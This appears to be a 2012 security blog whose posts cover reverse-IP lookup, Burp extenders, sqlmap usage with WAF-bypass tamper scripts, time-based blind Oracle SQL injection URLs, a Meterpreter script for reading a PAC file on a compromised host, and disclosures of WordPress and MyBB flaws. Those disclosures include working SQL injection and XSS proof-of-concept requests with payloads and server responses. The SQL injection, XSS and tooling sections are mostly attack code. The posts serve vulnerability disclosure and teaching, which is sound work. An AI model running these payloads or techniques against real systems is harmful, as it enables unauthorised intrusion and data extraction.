Sunday, 2 September 2012

Reverse IP lookup using new Bing API

Bing has recently changed it's API and has moved it to datamarket.azure.com. It allows 5000 searches/month for free. The python script given below will find all the domains hosted at a user specified IP address.

A reverse lookup can be made using an IP address or a domain name. To run this script, you will require to register at the above mentioned website in order to get the account key.

import urllib2, socket,sys,base64
from xml.dom.minidom import parse, parseString


def showhelp():
        print """
#####################################################
#  Reverse Host python script by oldman lab0ratory  #
#             visit oldmanlab.blogspot.com          #
#####################################################
Usage: python revhost.py -key [ACCOUNT_KEY] [OPTIONS]

[OPTIONS]

-ip     [IP ADDRESS]
-domain [DOMAIN NAME]
"""

def bing(account_key,ip):
    sites = []
    skip = 0
    top = 50

    while skip < 200:
          url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"%
          (ip,top,skip)
          request = urllib2.Request(url)
          auth = base64.encodestring("%s:%s" % (account_key, account_key)).replace("\n", "")
          request.add_header("Authorization", "Basic %s" % auth)
          res = urllib2.urlopen(request)
          data = res.read()

          xmldoc = parseString(data)
          site_list = xmldoc.getElementsByTagName('d:Url')
          for site in site_list:
              domain = site.childNodes[0].nodeValue
              domain = domain.split("/")[2]
              if domain not in sites:
                 sites.append(domain)

          skip += 50

    print "Total domains found: %s \n\n" %(len(sites))
    for site in sites:
        print site


def options(arguments):
   try:
    count = 0
    ip = ""
    account_key = ""
    for arg in arguments:
        if arg == "-ip":
           ip = arguments[count+1]
        elif arg == "-domain":
           ip = socket.gethostbyname(arguments[count+1])
        elif arg == "-key":
           account_key = arguments[count+1]
        count = count+1
    bing(account_key,ip)
   except:
    print "something went wrong"

if __name__ == "__main__":
   if len(sys.argv) <= 3 or "-key" not in sys.argv:
      showhelp()
      sys.exit()
   else:
      options(sys.argv)

You can download the script from here

Saturday, 2 June 2012

Persistent XSS in wordpress 3.3.2 [LOW]

There is a persistent XSS vulnerability in the wordpress version 3.3.2. However, the severity of this finding is very LOW. Reported this on April 26th and they confirmed it but then got no further reply from them (may be as this has LOW severity so who cares ;-) )

The detail is as follow,

a) Login into an admin account

b) Navigate to Links -> Links Categories

c) Fill up the required details and intercept the request with a BURP suite.

d) The injectable parameter is slug. If you inject <script>alert(1)</script> as a value to parameter "slug", the application strips it off and the value becomes alert1. 

But if the payload is double encode then ;-) 
<script>alert(1)</script> when converted to %253cscript%253ealert%25281%2529%253c%252fscript%253e bypasses this xss protection. 

The following request shows the raw HTTP request from BURP along with the vulnerable parameter and payload marked in bold.

POST /wordpress/wp-admin/edit-tags.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post
Cookie: blahblahbcookieblah
Content-Type: application/x-www-form-urlencoded
Content-Length: 379

action=editedtag&tag_ID=2&taxonomy=link_category&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dlink_category&_wpnonce=83974d7f8f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Faction%3Dedit%26taxonomy%3Dlink_category%26tag_ID%3D2%26post_type%3Dpost&name=Blogroll&slug=injecthere%253cscript%253ealert%25281%2529%253c%252fscript%253e&description=sectest&submit=Update

Sunday, 22 April 2012

Basics of Burp Extender (Part 2)

In the first part of a Basics of Burp Extender, we have created a sample burp extender to drop all the HTTP request to "www.facebook.com". We have implemented the processProxyMessage method of IBurpExtender interface.

In this part, we will implement processHttpMessage and registerExtenderCallbacks methods of IBurpExtender interface. The end goal of this sample example is "Intercept the HTTP request, check if it is in target scope, if not in scope then add it to the target scope list and passively scan the response."

/* 
 * A simple burp extender to intercept the request,
 * add it to the target scope and scan passively.
 */
 
package burp;
import java.io.*;
import java.net.URL;

public class BurpExtender
  {
     public IBurpExtenderCallbacks mycallbacks;

     //This method is invoked whenever proxy tool (proxy tab) makes an HTTP request or receives a response.
     public void processHttpMessage(java.lang.String toolName,
                           boolean messageIsRequest,
                           IHttpRequestResponse messageInfo) 
 {
   if(messageIsRequest)
     {
               //Methods of IBurpExtenderCallbacks must be wrapped inside try catch block as they throws java.lang.Exception
               try
                {
                   URL url = messageInfo.getUrl(); //Get the URL of the intercepted request
                                  
                   if(!mycallbacks.isInScope(url)) //Check whether it is in scope or not?
                     {
                        mycallbacks.includeInScope(url); //add the target URL to scope
                        
                        //passively scan the target URL
                        mycallbacks.doPassiveScan(messageInfo.getHost(),
                                    messageInfo.getPort(),false,
                                    messageInfo.getRequest(),
                                    messageInfo.getResponse());
                     }
                 }
               catch(Exception e)
                 {
                    e.printStackTrace();
                 }
      }
 }
    
    /*This method is invoked at startup. It is needed if you are implementing any method of IBurpExtenderCallbacks interface.
    In this example, we have implemented three such methods of this interface.*/
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
        {
          mycallbacks = callbacks;
        }
  }

This was rather a very sample example. In the next part we will implement newScanIssue method of IBurpExtender interface and few other things (i am not sure what other things ;-) )

Wednesday, 18 April 2012

Basics of Burp Extender (Part 1)

This monster (Burp Suite) does not need any introduction, it is itself a beauty and blessings for any web security analyst. If that is not enough, it allows other to extend it's functionalities by exposing certain interfaces. These are known as Burp Extender.

There are six such interfaces available which are as follows,

1) IBurpExtender
2) IBurpExtenderCallbacks
3) IHttpRequestResponse
4) IScanIssue
5) IScanQueueItem
6) IMenuItemHander

Each of this interface has some of the fields and methods implemented to carry out certain tasks. Using the above mentioned interfaces we can extend Burp Suite and can get our things done. Everything is Java here.

A sample extender which extracts the HTML comments from the response is shown here. The purpose of their post was to highlight the steps needed to follow in order to get your extender working. However, their purpose does not fulfil as if you follow the steps mentioned by them then you will get the following error "Exception in thread "main" java.lang.NoClassDefFoundError: burp/StartBurp".

So in this write up, we will see few examples on how to utilize these interfaces and get the best out of this beast :)

1.... A sample application to drop any HTTP request to www.facebook.com

/* 
 * A simple burp extender to drop any HTTP request to facebook.com
 */
 
package burp;
import java.io.*;

public class BurpExtender
 {
      //At-least one of the 5 methods described in IBurpExtender interface should be present.
      public byte[] processProxyMessage(int messageReference,
                           boolean messageIsRequest,
                           java.lang.String remoteHost,
                           int remotePort,
                           boolean serviceIsHttps,
                           java.lang.String httpMethod,
                           java.lang.String url,
                           java.lang.String resourceType,
                           java.lang.String statusCode,
                           java.lang.String responseContentType,
                           byte[] message,
                           int[] action) 
      {
         if(messageIsRequest)
           {      
                                   
              if(remoteHost.equals("www.facebook.com"))
                { 
                    action[0]=3; //An array whose default action is set to 3 i.e ACTION_DROP variable of IBurpExtender
                }
           }
         return message;
      }
 }



Let us dissect the above code

Any burp extender must have one of the 5 methods described in IBurpExtender interface. In the above example, we have used processProxyMessage() method which is invoked by Burp Proxy whenever a client request or server response is received.

This mean that whenever Burp receive any request or response, it will look for this method in the burp extender and if found one then the code block inside this method will get executed.

The last parameter of the processProxyMessage() method is an array of type integer. There are a series of integer variables defined inside IBurpExtender interface which can be used to guide Burp on what to do with the received request/response. The variables and their values are as follows

ACTION_FOLLOW_RULES has value 0
ACTION_DO_INTERCEPT has value 1
ACTION_DONT_INTERCEPT has value 2
ACTION_DROP has value 3
ACTION_FOLLOW_RULES_AND_REHOOK has value 4
ACTION_DO_INTERCEPT_AND_REHOOK has value 5
ACTION_DONT_INTERCEPT_AND_REHOOK has value 6



How to get the above code working

I am using Linux as the operating system to create this burp extender. So the steps for windows may vary accordingly.

a) Create a folder (e.g. oldmanlab) and Save the above code as BurpExtender.java.
b) Create a folder named burp inside the oldmanlab folder.
c) Download all these (1, 2, 3, 4, 5, 6) .java files and save them under the "oldmanlab\burp\" folder
d) Compile the BurpExtender.java file to its class file using the command "javac BurpExtender.java".
e) Copy the BurpExtender.class file to the burp folder "mv BurpExtender.class burp/"
f) Create the final jar file using the command "jar -cf burpextender.jar burp/BurpExtender.class".
g) Now open up the burpsuite with this extender "java -classpath burpextender.jar:burpsuite_v1.4.01.jar burp.StartBurp"

If everything goes well then you will see that alert window will glow up once the burp opens up. It will display the message of the method found and the methods not implemented.



Now configure your browser to tunnel through burp suite and open up "www.facebook.com". You will see that the request to facebook will be dropped by Burp Suite.

That is all for the first part. In the next part we will create some more samples using other interfaces.

Tuesday, 27 March 2012

Blind oracle SQL injection using DBMS_PIPE.RECEIVE_MESSAGE

I have seen very rare tutorials talking about the time based blind oracle SQL injection. So thought of sharing a very small tutorial, in case if it might be helpful to someone.

To get the current database user

http://www.site.com/page.jsp?id=5+AND+1=(CASE+WHEN+(ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))+
FROM+DUAL),1,1))=68)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||CHR(100),5)+ELSE+1+END)

If the page loads with a delay of five seconds then the first character is ascii equivalent 68 i.e 'D'.

http://www.site.com/page.jsp?id=5+AND+1=(CASE+WHEN+(ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))+
FROM+DUAL),2,1))=117)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||CHR(100),5)+ELSE+1+END)

If the page loads with a delay of five seconds then the first character is ascii equivalent 117 i.e 'u'.

The same method can be applied to determine the rest of the characters.

To get the backend database version

http://www.site.com/page.jsp?id=5+AND+1=(CASE+WHEN+(ASCII(SUBSTRC((SELECT+NVL(CAST(banner+AS+VARCHAR(4000)),CHR(32))+
FROM+v$version),1,1))=79)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||CHR(100),5)+ELSE+1+END)

If the page loads with a delay of five seconds then the first character is ascii equivalent 79 i.e 'O'.

http://www.site.com/page.jsp?id=5+AND+1=(CASE+WHEN+(ASCII(SUBSTRC((SELECT+NVL(CAST(banner+AS+VARCHAR(4000)),CHR(32))+
FROM+v$version),2,1))=114)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||CHR(100),5)+ELSE+1+END)

If the page loads with a delay of five seconds then the first character is ascii equivalent 114 i.e 'r'. And so onwards.....

To carry out time based blind oracle injection with sqlmap

./sqlmap.py -u "http://www.site.com/page.jsp?id=5" -b --dbms="oracle" --technique="T"

A very good Oracle SQL injection cheat sheet is available here.

Monday, 26 March 2012

Multiple vulnerabilities in mybb 1.6.6

Mybb version 1.6.6 suffers from multiple vulnerabilities namely SQL Injection and Cross Site Scripting. Since both of these vulnerabilities can only be exploited after logging in with the admin privileges, the severity of these findings is not high.

SQL Injection

Affected URL: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search

Affected Parameter: conditions[usergroup][]

POST request:

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2'&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=
&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card

Response:

HTTP/1.1 503 Service Temporarily Unavailable
Date: Mon, 26 Mar 2012 16:51:17 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.14
Status: 503 Service Temporarily Unavailable
Retry-After: 1800
Vary: Accept-Encoding
Content-Length: 2121
Connection: close
Content-Type: text/html; charset=UTF-8

.........snip...........
   
SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near '') OR CONCAT(',',additionalgroups,',') LIKE '%,2',%')' at line 3

Query:
SELECT COUNT(u.uid) AS num_results
FROM mybb_users u
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2') OR 
CONCAT(',',additionalgroups,',') LIKE '%,2',%')

Exploitation

Since our input goes into two different SELECT queries, the exploitation here is somewhat tricky. We cannot inject it using UNION query as both the SELECT query has difference number of columns.

Exploitation is possible either with the time based blind SQL Injection or with the error based method.

a) Exploitation using Time based blind SQL Injection:

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2))+AND+1=(SELECT+sleep(3))%23&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card

The injected payload ))+AND+1=(SELECT+sleep(3))%23 will delay the response by 6 seconds rather than 3 seconds because our input goes to two different SELECT queries and each of this SELECT query will delay the execution by 3 seconds.


b) Exploitation using error based mysql SQL Injection:

Reuest:

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2))+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1--+-
&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=
&conditions%5Busertitle%5D=&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card

Response:

HTTP/1.1 503 Service Temporarily Unavailable
Date: Mon, 26 Mar 2012 17:42:40 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.14
Status: 503 Service Temporarily Unavailable
Retry-After: 1800
Vary: Accept-Encoding
Content-Length: 2130
Connection: close
Content-Type: text/html; charset=UTF-8

.........snip...........
SQL Error:
1062 - Duplicate entry '5.1.61-0ubuntu0.10.04.11' for key 'group_key'
Query:
SELECT COUNT(u.uid) AS num_results
FROM mybb_users u
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2)) 
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1-- -) OR CONCAT(',',additionalgroups,',') LIKE '%,2)) 
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1-- -,%')

Error message shows mysql version. Similarly other data can be retrieved by this method.


Reflected Cross Site Scripting

Affected URL: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search

Affected Parameter: conditions[usergroup][]

POST request:

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2<script>document.write(Date())</script>&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card

Response:



Vulnerable code

The culprit code can be found under the /var/www/mybb/admin/modules/user/ with the name users.php.

Saturday, 24 March 2012

Sqlmap tutorial - you are just unavoidable

When conducting penetration test and if you encounter any sql injection instance, the first thing that comes to the mind is sqlmap. And if the instance is time based blind sql injection then sqlmap is just unavoidable.

It has many advantages to cash on like fast and reliable, open source, my much loving tamper scripts, etc. Moreover, it is not a script kiddie tool ( sorry if it has hurt you Havij ).

Let us see some of the syntax to carry out various sql injections with sqlmap.

1.... When you have the target URL but you are not sure if any of the parameter in that request is vulnerable then sqlmap can act as scanner in that case.

The syntax for the GET request is as follow

./sqlmap.py -u "http://www.site.com/oldman.php?id=5&text=dummy"

The syntax for the POST request is as follow

./sqlmap.py -u "http://www.site.com/oldman.php" --data="id=5&text=dummy"

This will tell you whether any of the variable viz. id, text is vulnerable to sql injection or not.

Note: Through out this tutorial we will take POST request as an example. The only difference in the syntax of GET and POST request is that POST request has an additional switch (--data) which has your post parameters and their values.


2.... When you doubt that a particular parameter might be vulnerable to sql injection then you can specify that parameter with -p switch. The syntax is as follows

./sqlmap.py -u "http://www.site.com/oldman.php" --data="id=5&text=dummy" -p "id"

sqlmap will try to check if parameter "id" is injectable or not.


3.... If the instance described in the last scenarios (i.e. 1, 2) is only available after user authenticates with the application then the steps would be as follows,

a) Login into your application.
b) Note down all the cookie names and its values. Let us assume that the cookies generated are cookie1=dummy_val1, cookie2=dummy_val2.
c) Use sqlmap --cookie switch to replay these cookies along with the sqlmap requests.

So the syntax will be as follows

./sqlmap.py -u "http://www.site.com/oldman.php" --data="id=5&text=dummy" -p "id" --cookie="cookie1=dummy_val1;cookie2=dummy_val2"


4.... To get the value of the backend database such as version name, current database name and database user, the syntax will be

./sqlmap.py -u "http://www.site.com/oldman.php" --data="id=5&text=dummy" -p "id" -b --current-db --current-user


5.... To get the tables of dummydb database , the syntax will be

./sqlmap.py -u "http://www.site.com/oldman.php" --data="id=5&text=dummy" -p "id" --tables -D "dummydb"


6.... To get the columns of admin table, the syntax will be

./sqlmap.py -u "http://www.site.com/oldman.php" --data="id=5&text=dummy" -p "id" --columns -T "admin"


7.... When you know the backend database provider such as mssql, mysql, oracle, etc. then you can specify it with the --dbms switch. This will tell sqlmap to not to try queries related to other databases and in turn can speed up the injection process.

./sqlmap.py -u "http://www.site.com/oldman.php" --data="id=5&text=dummy" -p "id" -b --dbms="oracle"


8.... If the application is protected by web application firewall (w.a.f) then you can try various tamper scripts to bypass w.a.f detection. There are almost 30 such tamper scripts available. To specify one such tamper scripts, you can use --tamper switch. The syntax is

./sqlmap.py -u "http://www.site.com/oldman.php" --data="id=5&text=dummy" -p "id" -b --tamper="tamper_script1_name.py,tamper_script2_name.py"

All the available tamper scripts can be found under the tamper directory inside sqlmap root directory.


9.... Writing your own Tamper script.

There are certain cases when application has very weak detection signature but none of the tamper script can do the job.

For example, if the application code detects "UNION SELECT" but not "UNION SELEcT" then sqlmap will not be able to inject that target as all the payloads of sqlmap
will be like "UNION ALL SELECT", "WAITFOR DELAY", etc.

So let us create our own tamper script. The format of any tamper script will be as follow

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
 '''
 Description of your tamper script
 '''

 retVal = payload

 # your code to tamper the original payload

 # return the tampered payload
 return retVal

Based on the above tamper script format, our script will be

#!/usr/bin/env python

"""
Sample script by oldmanlab.
Email : oldmanlab@gmail.com
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload):
 """
 INPUT  : UNION ALL SELECT
 OUTPUT : UNION ALL SELEcT
 
 TESTED AGAINST: mysql 5.x.x
 """
 
 if payload:
  retVal=""
  i=0
  
  for i in xrange(len(payload)):
   if payload[i:i+10] == "ALL SELECT":
    retVal += "ALL SELEcT" + payload[i+10:]
    break
   else:
    retval += payload[i]
 return retVal

Sunday, 12 February 2012

Reading proxy auto config (pac) file with meterpreter

Since i am a web-security person (duh duh), please pardon me if you find this erroneous or useless.

The following meterpreter script is an example of reading proxy auto config file (pac) to check for the proxy servers being used by compromised machine.

Tested on Windows XP only.

#This is just a concept of reading pac file from the compromised machine.
#You can take the stuff ahead from here :-)
#oldmanlab@gmail.com

#Variable initialization
session = client

if session.platform =~ /win32|win64/

           #Read the key and the get the AutoConfig URL
           open_key = session.sys.registry.open_key(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion
                      \Internet Settings', KEY_READ)
           begin
                 url = open_key.query_value('AutoConfigURL').data
                 print_status('Reading pac file.....')

                 #Download the pac file
                 session.railgun.add_dll('urlmon','urlmon')
                 session.railgun.add_function('urlmon', 'URLDownloadToFileW', 'DWORD', [['PBLOB', 'pCaller', 'in'],
                 ['PWCHAR','szURL','in'],['PWCHAR','szFileName','in'],['DWORD','dwReserved','in'],['PBLOB','lpfnCB','inout']])
                 session.railgun.urlmon.URLDownloadToFileW(nil,url,'proxy.pac',0,nil)

                 #Read the file and search for the proxy servers
                 proxy_data = ''
                 temp = session.fs.file.new('proxy.pac','rb')
                 until temp.eof?
                           proxy_data << temp.read
                 end
                 proxy_host = proxy_data.match(/PROXY(.*)";/)[1]
                 print_status('The proxy server is:'+proxy_host)

           rescue
                 print_status('No pac file found')

           end
else
           print_status('Victim is not using Windows')
end

I never did code in ruby before so any suggestions are welcome.

Wednesday, 8 February 2012

SSH access to archlinux guest in virtualbox

For me having metasploit framework installed on headless and light operating system whose memory thirst can be quench with 50-80 MB RAM was a point to install arch linux.

This post shows quick dirty steps to configure virtualbox to access SSH on arch linux guest with NAT.

Environment:

Host : Windows
Guest: Arch linux 64bit
VirtualBox: 4.1.8

Poweroff your guest operating system. Go to settings of your guest and select Network. Setup Adapter1 as NAT and Adapter2 as Host-Only Adapter. Refer following screenshots



Ipconfig on my windows host shows the following configuration


PowerOn your guest. Login as root user and setup another interface with the following command

ifconfig eth1 inet 192.168.7.2 netmask 255.255.255.0 up

From your host system, you now will be able to ping 192.168.7.2 and can even ssh 192.168.7.2 with your ssh client like PuTTY.

Monday, 2 January 2012

Wordpress 3.3 XSS vulnerability




Step 1: Post a comment to the target website

Step 2: Replace the value of author tag, email tag, comment tag with the exact value of what has been post in the last comment. Change the value of comment_post_ID to the value of post (which can be known by opening that post and checking the value of p parameter in the url). For example the if the url is http://192.168.1.102/wordpress/?p=6 then the value of comment_post_ID is 6.

<html>
<title>Wordpress 3.3 XSS PoC</title>

<body>

<form name="XSS" id="XSS" action="http://host/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script>
<style>" method="POST">
<input type="hidden" name="author" value="replace me">
<input type="hidden" name="email" value="replace me">
<input type="hidden" name="url" value="">
<input type="hidden" name="comment" value="replace me">
<input type="hidden" name="submit" value="Post Comment">
<input type="hidden" name="comment_post_ID" value="replace me">
<input type="hidden" name="comment_parent" value="0">
<input type="button" value="Click Me" />
</form>

</body>
</html>

Step 3: Publish the above html file on the web server and access it. Click on "Click Me" button. This will try to post the comment to wordpress which will flag this comment as duplicate comment with the 500 Internal server error response. Here our XSS payload will get executed. Check wordpress_3.3_xss.png file.

Step 4: The response code where XSS payload reflects is given below

<!DOCTYPE html>
<!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes...
-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>WordPress &rsaquo; Error</title>
 <style type="text/css">
  html {
   background: #f9f9f9;
  }
  body {
   background: #fff;
   color: #333;

               ..............snip....................

  .button {
   background: #f2f2f2 url(http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script>
<style>/wp-admin/images/white-grad.png) repeat-x scroll left top;
  }

  .button:active {
   background: #eee url(http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script>
<style>/wp-admin/images/white-grad-active.png) repeat-x scroll left top;
  }
   </style>
</head>
<body id="error-page">
 <p>Duplicate comment detected; it looks as though you&#8217;ve already said that!</p></body>
</html>


UPDATE: It will even work if you do not supply any comment data. Duplicate comment event is not necessary. And i forgot to mention that this will only work with Internet Explorer since other browser like firefox and chrome will url encode our XSS payload.


<html>
<title>Wordpress 3.3 XSS PoC</title>

<body>

<form name="XSS" id="XSS"  action="http://host/wp-comments-post.php?</style><script>document.write(Date())</script><style>" 
method="POST">
<input type="hidden" name="author" value="oldman">
<input type="hidden" name="email" value="oldmanlab@gmail.com">
<input type="hidden" name="url" value="">
<input type="hidden" name="comment" value="">
<input type="hidden" name="submit" value="Post Comment">
<input type="hidden" name="comment_post_ID" value="replace_me">
<input type="hidden" name="comment_parent" value="0">
<input type="submit" value="Click Me" />
</form>

</body>
</html>